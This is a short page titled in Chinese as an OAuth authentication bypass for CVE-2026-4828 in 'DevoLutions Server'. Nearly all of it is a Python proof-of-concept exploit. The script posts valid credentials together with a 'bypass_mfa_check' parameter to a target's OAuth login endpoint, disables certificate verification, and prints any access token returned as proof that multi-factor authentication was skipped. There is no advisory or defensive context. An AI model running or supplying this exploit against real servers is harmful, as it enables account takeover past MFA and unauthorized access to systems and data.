CVE-2026-4828 DevoLutions Server OAuth认证绕过漏洞

import requests # PoC for CVE-2026-4828 # Description: Bypass MFA in OAuth login by sending a crafted request. # Requirements: Valid username and password. target = "https://<target_host>/oauth/login" username = "victim_user" password = "valid_password" # The crafted payload attempts to skip the MFA step payload = { "username": username, "password": password, "grant_type": "password", "client_id": "devoLutions_web", "bypass_mfa_check": "1" # Malicious parameter to trigger bypass } headers = { "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64)", "Content-Type": "application/json" } try: response = requests.post(target, json=payload, headers=headers, verify=False, timeout=10) if response.status_code == 200 and "access_token" in response.text: print("[+] Exploit successful! MFA bypassed.") print("[+] Received Token:", response.json().get("access_token")) else: print("[-] Exploit failed or patch applied.") print("[-] Response:", response.text) except Exception as e: print("[-] Error:", str(e))